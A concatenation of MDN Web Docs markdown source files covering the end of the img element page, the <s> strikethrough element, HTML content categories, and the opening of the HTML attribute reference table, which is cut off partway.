content</a >. If the element has a <code>usemap</code> attribute, it also is a part of the interactive content category. </td> </tr> <tr> <th scope="row">Permitted content</th> <td>None; it is a {{Glossary("void element")}}.</td> </tr> <tr> <th scope="row">Tag omission</th> <td>Must have a start tag and must not have an end tag.</td> </tr> <tr> <th scope="row">Permitted parents</th> <td>Any element that accepts embedded content.</td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <ul> <li> with non-empty <code>alt</code> attribute or no <code>alt</code> attribute: <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/img_role" ><code>img</code></a ></code > </li> <li> with empty <code>alt</code> attribute: <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/presentation_role" ><code>presentation</code></a > </li> </ul> </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td> <ul> <li> with non-empty <code>alt</code> attribute: <ul> <li> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/button_role" >button</a ></code > </li> <li> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/checkbox_role" >checkbox</a ></code > </li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/link_role"><code>link</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/menuitem_role"><code>menuitem</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/menuitemcheckbox_role"><code>menuitemcheckbox</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/menuitemradio_role"><code>menuitemradio</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/option_role"><code>option</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/progressbar_role"><code>progressbar</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/scrollbar_role"><code>scrollbar</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/separator_role"><code>separator</code></a></li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/slider_role"><code>slider</code></a></li> <li> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Switch_role" >switch</a ></code > </li> <li> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_Role" >tab</a ></code > </li> <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/treeitem_role"><code>treeitem</code></a></li> </ul> </li> <li> with empty <code>alt</code> attribute, <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/none_role"><code>none</code></a> or <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/presentation_role"><code>presentation</code></a> </li> <li> with no <code>alt</code> attribute, no <code>role</code> permitted </li> </ul> </td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLImageElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{HTMLElement("picture")}}, {{HTMLElement("object")}}, and {{HTMLElement("embed")}} elements - {{cssxref("object-fit")}}, {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, and {{cssxref("image-resolution")}}: Image-related CSS properties. - {{domxref("HTMLImageElement")}} interface for this element - [Images in HTML](/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML) - [Image file type and format guide](/en-US/docs/Web/Media/Formats/Image_types) - [Responsive images](/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images)
0
data/mdn-content/files/en-us/web/html/element
data/mdn-content/files/en-us/web/html/element/s/index.md
--- title: "<s>: The Strikethrough element" slug: Web/HTML/Element/s page-type: html-element browser-compat: html.elements.s --- {{HTMLSidebar}} The **`<s>`** [HTML](/en-US/docs/Web/HTML) element renders text with a strikethrough, or a line through it. Use the `<s>` element to represent things that are no longer relevant or no longer accurate. However, `<s>` is not appropriate when indicating document edits; for that, use the {{HTMLElement("del")}} and {{HTMLElement("ins")}} elements, as appropriate. {{EmbedInteractiveExample("pages/tabbed/s.html", "tabbed-shorter")}} ## Attributes This element only includes the [global attributes](/en-US/docs/Web/HTML/Global_attributes). ## Examples ```css .sold-out { text-decoration: line-through; } ``` ```html <s>Today's Special: Salmon</s> SOLD OUT<br /> <span class="sold-out">Today's Special: Salmon</span> SOLD OUT ``` ### Result {{EmbedLiveSample("Examples")}} ## Accessibility concerns The presence of the `s` element is not announced by most screen reading technology in its default configuration. It can be made to be announced by using the CSS {{cssxref("content")}} property, along with the {{cssxref("::before")}} and {{cssxref("::after")}} pseudo-elements. ```css s::before, s::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } s::before { content: " [start of stricken text] "; } s::after { content: " [end of stricken text] "; } ``` Some people who use screen readers deliberately disable announcing content that creates extra verbosity. Because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been struck out would adversely affect understanding. - [Short note on making your mark (more accessible) | The Paciello Group](https://www.tpgi.com/short-note-on-making-your-mark-more-accessible/) - [Tweaking Text Level Styles | Adrian Roselli](https://adrianroselli.com/2017/12/tweaking-text-level-styles.html) ## Technical summary <table class="properties"> <tbody> <tr> <th scope="row"> <a href="/en-US/docs/Web/HTML/Content_categories" >Content categories</a > </th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >, <a href="/en-US/docs/Web/HTML/Content_categories#flow_content" >flow content</a >. </td> </tr> <tr> <th scope="row">Permitted content</th> <td> <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >Phrasing content</a >. </td> </tr> <tr> <th scope="row">Tag omission</th> <td>{{no_tag_omission}}</td> </tr> <tr> <th scope="row">Permitted parents</th> <td> Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#phrasing_content" >phrasing content</a >. </td> </tr> <tr> <th scope="row">Implicit ARIA role</th> <td> <code ><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/structural_roles#structural_roles_with_html_equivalents">deletion</a ></code > </td> </tr> <tr> <th scope="row">Permitted ARIA roles</th> <td>Any</td> </tr> <tr> <th scope="row">DOM interface</th> <td>{{domxref("HTMLElement")}}</td> </tr> </tbody> </table> ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - The {{HTMLElement("strike")}} element, alter ego of the {{HTMLElement("s")}} element, is obsolete and should not be used on websites anymore. - The {{HTMLElement("del")}} element is to be used instead if the data has been _deleted_. - The CSS {{cssxref("text-decoration-line")}} property is to be used to achieve the former visual aspect of the {{HTMLElement("s")}} element.
0
data/mdn-content/files/en-us/web/html
data/mdn-content/files/en-us/web/html/content_categories/index.md
--- title: Content categories slug: Web/HTML/Content_categories page-type: guide --- {{HTMLSidebar}} Most [HTML](/en-US/docs/Web/HTML) elements are a member of one or more **content categories** — these categories group elements that share common characteristics. This is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details. It's also possible for elements to not be a member of _any_ of these categories. There are three types of content categories: - Main content categories, which describe common rules shared by many elements. - Form-related content categories, which describe rules common to form-related elements. - Specific content categories, which describe rare categories shared only by a few elements, sometimes only in a specific context. > **Note:** A more detailed discussion of these content categories and their comparative functionalities is beyond the scope of this article; for that, you may wish to read the [relevant portions of the HTML specification](https://html.spec.whatwg.org/multipage/dom.html#kinds-of-content). [![A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text.](content_categories_venn.png)](/en-US/docs/Web/HTML/Content_categories/content_categories_venn.png) ## Main content categories ### Metadata content Elements belonging to the _metadata content_ category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other _out-of-band_ information. Elements belonging to this category are {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} and {{HTMLElement("title")}}. ### Flow content Flow content is a broad category that encompasses most elements that can go inside the {{HTMLElement("body")}} element, including heading elements, sectioning elements, phrasing elements, embedding elements, interactive elements, and form-related elements. It also includes text nodes (but not those that only consist of white space characters). The flow elements are: - {{HTMLElement("a")}} - {{HTMLElement("abbr")}} - {{HTMLElement("address")}} - {{HTMLElement("article")}} - {{HTMLElement("aside")}} - {{HTMLElement("audio")}} - {{HTMLElement("b")}} - {{HTMLElement("bdo")}} - {{HTMLElement("bdi")}} - {{HTMLElement("blockquote")}} - {{HTMLElement("br")}} - {{HTMLElement("button")}} - {{HTMLElement("canvas")}} - {{HTMLElement("cite")}} - {{HTMLElement("code")}} - {{HTMLElement("data")}} - {{HTMLElement("datalist")}} - {{HTMLElement("del")}} - {{HTMLElement("details")}} - {{HTMLElement("dfn")}} - {{HTMLElement("dialog")}} - {{HTMLElement("div")}} - {{HTMLElement("dl")}} - {{HTMLElement("em")}} - {{HTMLElement("embed")}} - {{HTMLElement("fieldset")}} - {{HTMLElement("figure")}} - {{HTMLElement("footer")}} - {{HTMLElement("form")}} - {{HTMLElement("Heading_Elements", "<code>&lt;h1&gt;</code>-<code>&lt;h6&gt;</code>")}} - {{HTMLElement("header")}} - {{HTMLElement("hgroup")}} - {{HTMLElement("hr")}} - {{HTMLElement("i")}} - {{HTMLElement("iframe")}} - {{HTMLElement("img")}} - {{HTMLElement("input")}} - {{HTMLElement("ins")}} - {{HTMLElement("kbd")}} - {{HTMLElement("label")}} - {{HTMLElement("main")}} - {{HTMLElement("map")}} - {{HTMLElement("mark")}} - {{MathMLElement("math")}} - {{HTMLElement("menu")}} - {{HTMLElement("meter")}} - {{HTMLElement("nav")}} - {{HTMLElement("noscript")}} - {{HTMLElement("object")}} - {{HTMLElement("ol")}} - {{HTMLElement("output")}} - {{HTMLElement("p")}} - {{HTMLElement("picture")}} - {{HTMLElement("pre")}} - {{HTMLElement("progress")}} - {{HTMLElement("q")}} - {{HTMLElement("ruby")}} - {{HTMLElement("s")}} - {{HTMLElement("samp")}} - {{HTMLElement("search")}} - {{HTMLElement("script")}} - {{HTMLElement("section")}} - {{HTMLElement("select")}} - {{HTMLElement("slot")}} - {{HTMLElement("small")}} - {{HTMLElement("span")}} - {{HTMLElement("strong")}} - {{HTMLElement("sub")}} - {{HTMLElement("sup")}} - {{SVGElement("svg")}} - {{HTMLElement("table")}} - {{HTMLElement("template")}} - {{HTMLElement("textarea")}} - {{HTMLElement("time")}} - {{HTMLElement("u")}} - {{HTMLElement("ul")}} - {{HTMLElement("var")}} - {{HTMLElement("video")}} - {{HTMLElement("wbr")}} - plain text A few other elements belong to this category, but only if a specific condition is fulfilled: - {{HTMLElement("area")}}, if it is a descendant of a {{HTMLElement("map")}} element - {{HTMLElement("link")}}, if the [itemprop](/en-US/docs/Web/HTML/Global_attributes/itemprop) attribute is present - {{HTMLElement("meta")}}, if the [itemprop](/en-US/docs/Web/HTML/Global_attributes/itemprop) attribute is present - {{HTMLElement("style")}}, if the `scoped` {{deprecated_inline}} attribute is present ### Sectioning content Sectioning content, a subset of flow content, creates a [section in the current outline](/en-US/docs/Web/HTML/Element/Heading_Elements) defining the scope of {{HTMLElement("header")}} and {{HTMLElement("footer")}} elements. Elements belonging to this category are {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}}, and {{HTMLElement("section")}}. ### Heading content Heading content, a subset of flow content, defines the title of a section. This definition applies both to sections marked by an explicit [sectioning content](#sectioning_content) elements and to those implicitly defined by the heading content itself. Elements belonging to this category are {{HTMLElement("Heading_Elements", "<code>&lt;h1&gt;</code>-<code>&lt;h6&gt;</code>")}} and {{HTMLElement("hgroup")}}. > **Note:** Though likely to contain heading content, the {{HTMLElement("header")}} is not heading content itself. ### Phrasing content Phrasing content, a subset of flow content, refers to the text and the markup within a document. Sequences of phrasing content make up paragraphs. Elements belonging to this category are: - {{HTMLElement("abbr")}} - {{HTMLElement("audio")}} - {{HTMLElement("b")}} - {{HTMLElement("bdi")}} - {{HTMLElement("bdo")}} - {{HTMLElement("br")}} - {{HTMLElement("button")}} - {{HTMLElement("canvas")}} - {{HTMLElement("cite")}} - {{HTMLElement("code")}} - {{HTMLElement("data")}} - {{HTMLElement("datalist")}} - {{HTMLElement("dfn")}} - {{HTMLElement("em")}} - {{HTMLElement("embed")}} - {{HTMLElement("i")}} - {{HTMLElement("iframe")}} - {{HTMLElement("img")}} - {{HTMLElement("input")}} - {{HTMLElement("kbd")}} - {{HTMLElement("label")}} - {{HTMLElement("mark")}} - {{MathMLElement("math")}} - {{HTMLElement("meter")}} - {{HTMLElement("noscript")}} - {{HTMLElement("object")}} - {{HTMLElement("output")}} - {{HTMLElement("picture")}} - {{HTMLElement("progress")}} - {{HTMLElement("q")}} - {{HTMLElement("ruby")}} - {{HTMLElement("s")}} - {{HTMLElement("samp")}} - {{HTMLElement("script")}} - {{HTMLElement("select")}} - {{HTMLElement("slot")}} - {{HTMLElement("small")}} - {{HTMLElement("span")}} - {{HTMLElement("strong")}} - {{HTMLElement("sub")}} - {{HTMLElement("sup")}} - {{SVGElement("svg")}} - {{HTMLElement("template")}} - {{HTMLElement("textarea")}} - {{HTMLElement("time")}} - {{HTMLElement("u")}} - {{HTMLElement("var")}} - {{HTMLElement("video")}} - {{HTMLElement("wbr")}} - plain text (including more than just whitespace characters) A few other elements belong to this category, but only if a specific condition is fulfilled: - {{HTMLElement("a")}}, if it contains only phrasing content - {{HTMLElement("area")}}, if it is a descendant of a {{HTMLElement("map")}} element - {{HTMLElement("del")}}, if it contains only phrasing content - {{HTMLElement("ins")}}, if it contains only phrasing content - {{HTMLElement("link")}}, if the [itemprop](/en-US/docs/Web/HTML/Global_attributes/itemprop) attribute is present - {{HTMLElement("map")}}, if it contains only phrasing content - {{HTMLElement("meta")}}, if the [itemprop](/en-US/docs/Web/HTML/Global_attributes/itemprop) attribute is present ### Embedded content Embedded content, a subset of flow content, imports another resource or inserts content from another markup language or namespace into the document. Elements that belong to this category include: - {{HTMLElement("audio")}} - {{HTMLElement("canvas")}} - {{HTMLElement("embed")}} - {{HTMLElement("iframe")}} - {{HTMLElement("img")}} - {{MathMLElement("math")}} - {{HTMLElement("object")}} - {{HTMLElement("picture")}} - {{SVGElement("svg")}} - {{HTMLElement("video")}} ### Interactive content Interactive content, a subset of flow content, includes elements that are specifically designed for user interaction. Elements that belong to this category include: - {{HTMLElement("button")}} - {{HTMLElement("details")}} - {{HTMLElement("embed")}} - {{HTMLElement("iframe")}} - {{HTMLElement("label")}} - {{HTMLElement("select")}} - {{HTMLElement("textarea")}} Some elements belong to this category only under specific conditions: - {{HTMLElement("a")}}, if the [`href`](/en-US/docs/Web/HTML/Element/a#href) attribute is present - {{HTMLElement("audio")}}, if the [`controls`](/en-US/docs/Web/HTML/Element/audio#controls) attribute is present - {{HTMLElement("img")}}, if the [`usemap`](/en-US/docs/Web/HTML/Element/img#usemap) attribute is present - {{HTMLElement("input")}}, if the [type](/en-US/docs/Web/HTML/Element/input#type) attribute is not in the hidden state - {{HTMLElement("object")}}, if the [`usemap`](/en-US/docs/Web/HTML/Element/object#usemap) attribute is present - {{HTMLElement("video")}}, if the [`controls`](/en-US/docs/Web/HTML/Element/video#controls) attribute is present ### Palpable content Content is palpable when it's neither empty nor hidden; it is content that is rendered and is substantive. Elements whose model is flow content should have at least one node which is palpable. ### Form-associated content Form-associated content is a subset of flow content comprising elements that have a form owner, exposed by a **form** attribute, and can be used everywhere flow content is expected. A form owner is either the containing {{HTMLElement("form")}} element or the element whose id is specified in the **form** attribute. - {{HTMLElement("button")}} - {{HTMLElement("fieldset")}} - {{HTMLElement("input")}} - {{HTMLElement("label")}} - {{HTMLElement("meter")}} - {{HTMLElement("object")}} - {{HTMLElement("output")}} - {{HTMLElement("progress")}} - {{HTMLElement("select")}} - {{HTMLElement("textarea")}} This category contains several sub-categories: - listed - : Elements that are listed in the {{domxref("HTMLFormElement.elements", "form.elements")}} and `fieldset.elements` collections. Contains {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}. - labelable - : Elements that can be associated with {{HTMLElement("label")}} elements. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}. - submittable - : Elements that can be used for constructing the form data set when the form is submitted. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}. - resettable - : Elements that can be affected when a form is reset. Contains {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}. ## Secondary content categories There are some secondary classifications of elements that can be useful to be aware of as well. ### Script-supporting elements **Script-supporting elements** are elements which don't directly contribute to the rendered output of a document. Instead, they serve to support scripts, either by containing or specifying script code directly, or by specifying data that will be used by scripts. The script-supporting elements are: - {{HTMLElement("script")}} - {{HTMLElement("template")}} ## Transparent content model If an element has a transparent content model, then its contents must be structured such that they would be valid HTML 5, even if the transparent element were removed and replaced by the child elements. For example, the {{HTMLElement("del")}} and {{HTMLElement("ins")}} elements are transparent: ```html <p> We hold these truths to be <del><em>sacred &amp; undeniable</em></del> <ins>self-evident</ins>. </p> ``` If those elements were removed, this fragment would still be valid HTML (if not correct English). ```html <p>We hold these truths to be <em>sacred &amp; undeniable</em> self-evident.</p> ```
0
data/mdn-content/files/en-us/web/html
data/mdn-content/files/en-us/web/html/attributes/index.md
--- title: HTML attribute reference slug: Web/HTML/Attributes page-type: landing-page --- {{HTMLSidebar("Attributes")}} Elements in HTML have **attributes**; these are additional values that configure the elements or adjust their behavior in various ways to meet the criteria the users want. ## Attribute list <table class="standard-table"> <thead> <tr> <th>Attribute Name</th> <th>Elements</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/accept">accept</a></code> </td> <td> {{ HTMLElement("form") }}, {{ HTMLElement("input") }} </td> <td>List of types the server accepts, typically a file type.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/form#accept-charset">accept-charset</a></code> </td> <td>{{ HTMLElement("form") }}</td> <td>List of supported charsets.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Keyboard shortcut to activate or add focus to the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/form#action">action</a></code> </td> <td>{{ HTMLElement("form") }}</td> <td> The URI of a program that processes the information submitted via the form. </td> </tr> <tr> <td> <code>align</code> {{deprecated_inline}} </td> <td> {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("td") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }} </td> <td>Specifies the horizontal alignment of the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/iframe#allow">allow</a></code> </td> <td>{{ HTMLElement("iframe") }}</td> <td>Specifies a feature-policy for the iframe.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/alt">alt</a></code> </td> <td> {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }} </td> <td>Alternative text in case an image can't be displayed.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/link#as">as</a></code> </td> <td> {{ HTMLElement("link") }} </td> <td>Specifies the type of content being loaded by the link.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/script#async">async</a></code> </td> <td>{{ HTMLElement("script") }}</td> <td>Executes the script asynchronously.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/autocapitalize">autocapitalize</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td> Sets whether input is automatically capitalized when entered by user </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/autocomplete">autocomplete</a></code> </td> <td> {{ HTMLElement("form") }}, {{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }} </td> <td> Indicates whether controls in this form can by default have their values automatically completed by the browser. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/autoplay">autoplay</a></code> </td> <td> {{ HTMLElement("audio") }}, {{ HTMLElement("video") }} </td> <td>The audio or video should play as soon as possible.</td> </tr> <tr> <td><code>background</code></td> <td> {{ HTMLElement("body") }}, {{ HTMLElement("table") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }} </td> <td> Specifies the URL of an image file. <div class="note"> <p> <strong>Note:</strong> Although browsers and email clients may still support this attribute, it is obsolete. Use CSS {{ Cssxref("background-image") }} instead. </p> </div> </td> </tr> <tr> <td><code>bgcolor</code></td> <td> {{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }} </td> <td> <p>Background color of the element.</p> <div class="note"> <p> <strong>Note:</strong> This is a legacy attribute. Please use the CSS {{ Cssxref("background-color") }} property instead. </p> </div> </td> </tr> <tr> <td><code>border</code></td> <td> {{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }} </td> <td> <p>The border width.</p> <div class="note"> <p> <strong>Note:</strong> This is a legacy attribute. Please use the CSS {{ Cssxref("border") }} property instead. </p> </div> </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/capture">capture</a></code> </td> <td>{{ HTMLElement("input") }}</td> <td> From the <a href="https://w3c.github.io/html-media-capture/#the-capture-attribute">Media Capture specification</a>, specifies a new file can be captured. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/meta#charset">charset</a></code> </td> <td> {{ HTMLElement("meta") }} </td> <td>Declares the character encoding of the page or script.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/input#checked">checked</a></code> </td> <td> {{ HTMLElement("input") }} </td> <td>Indicates whether the element should be checked on page load.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/cite">cite</a></code> </td> <td> {{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }} </td> <td>Contains a URI which points to the source of the quote or change.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Often used with CSS to style elements with common properties.</td> </tr> <tr> <td><code>color</code></td> <td> {{ HTMLElement("font") }}, {{ HTMLElement("hr") }} </td> <td> <p> This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format. </p> <div class="note"> <p> <strong>Note:</strong> This is a legacy attribute. Please use the CSS {{ Cssxref("color") }} property instead. </p> </div> </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/textarea#cols">cols</a></code> </td> <td>{{ HTMLElement("textarea") }}</td> <td>Defines the number of columns in a textarea.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/colspan">colspan</a></code> </td> <td> {{ HTMLElement("td") }}, {{ HTMLElement("th") }} </td> <td> The colspan attribute defines the number of columns a cell should span. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/meta#content">content</a></code> </td> <td>{{ HTMLElement("meta") }}</td> <td> A value associated with <code>http-equiv</code> or <code>name</code> depending on the context. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Indicates whether the element's content is editable.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/contextmenu">contextmenu</a></code> {{non-standard_inline}} {{deprecated_inline}} </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td> Defines the ID of a {{ HTMLElement("menu") }} element which will serve as the element's context menu. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/controls">controls</a></code> </td> <td> {{ HTMLElement("audio") }}, {{ HTMLElement("video") }} </td> <td> Indicates whether the browser should show playback controls to the user. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/area#coords">coords</a></code> </td> <td>{{ HTMLElement("area") }}</td> <td> A set of values specifying the coordinates of the hot-spot region. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/crossorigin">crossorigin</a></code> </td> <td> {{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }} </td> <td>How the element handles cross-origin requests</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/API/HTMLIFrameElement/csp">csp</a></code> {{experimental_inline}} </td> <td>{{ HTMLElement("iframe") }}</td> <td> Specifies the Content Security Policy that an embedded document must agree to enforce upon itself. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/object#data">data</a></code> </td> <td>{{ HTMLElement("object") }}</td> <td>Specifies the URL of the resource.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*">data-*</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Lets you attach custom attributes to an HTML element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/datetime">datetime</a></code> </td> <td> {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }} </td> <td>Indicates the date and time associated with the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/img#decoding">decoding</a></code> </td> <td>{{ HTMLElement("img") }}</td> <td>Indicates the preferred method to decode the image.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/track#default">default</a></code> </td> <td>{{ HTMLElement("track") }}</td> <td> Indicates that the track should be enabled unless the user's preferences indicate something different. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/script#defer">defer</a></code> </td> <td>{{ HTMLElement("script") }}</td> <td> Indicates that the script should be executed after the page has been parsed. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td> Defines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left) </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/dirname">dirname</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} </td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/disabled">disabled</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }} </td> <td>Indicates whether the user can interact with the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/download">download</a></code> </td> <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td> <td> Indicates that the hyperlink is to be used for downloading a resource. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Defines whether the element can be dragged.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/form#enctype">enctype</a></code> </td> <td>{{ HTMLElement("form") }}</td> <td> Defines the content type of the form data when the <code>method</code> is POST. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/enterkeyhint">enterkeyhint</a></code> {{experimental_inline}} </td> <td> {{ HTMLElement("textarea") }}, <a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a> </td> <td> The <a href="https://html.spec.whatwg.org/multipage/interaction.html#input-modalities:-the-enterkeyhint-attribute"><code>enterkeyhint</code></a> specifies what action label (or icon) to present for the enter key on virtual keyboards. The attribute can be used with form controls (such as the value of <code>textarea</code> elements), or in elements in an editing host (e.g., using <code>contenteditable</code> attribute). </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/for">for</a></code> </td> <td> {{ HTMLElement("label") }}, {{ HTMLElement("output") }} </td> <td>Describes elements which belongs to this one.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/form">form</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }} </td> <td>Indicates the form that is the owner of the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/formaction">formaction</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("button") }} </td> <td> Indicates the action of the element, overriding the action defined in the {{ HTMLElement("form") }}. </td> </tr> <tr> <td> <code><a 